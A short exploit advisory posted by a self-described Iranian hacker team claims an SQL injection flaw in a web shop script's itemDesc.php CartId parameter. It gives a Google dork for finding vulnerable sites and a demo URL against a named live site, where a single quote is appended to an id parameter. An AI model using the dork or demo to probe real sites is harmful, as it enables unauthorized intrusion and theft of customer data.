# Exploit Title :
Web Design itemDesc.php site sql injection
# Exploit Author : Guardiran Security Team
# Vendor Homepage http://mpaying.com
# Google Dork : itemDesc.php?CartId=
my team: Guardiran Security Team
http://guardiran.org/profile/25294-rednofozi/
# category : webapps
# Tested on : Win8 , Kali Linux
me:rednofozi@yahoo.com
insta:vol.81
Proof of Concept :
search google Dork : itemDesc.php?CartId=
Demo : http://mpaying.com/checkout1.php?id=237' (sql-injection
# Discovered by : Rednofozi
Long live SistanAs long as I live in my body, I defend this soilLong live Seyyed Ali Khamenei
guard iran hackers
tnx to :REX , DeMoN, C0d3!Nj3ct!0n ,Mr.Python , virtual_hate ComradeŘ, JOK3R , Ruiner , mr_null - 1TED
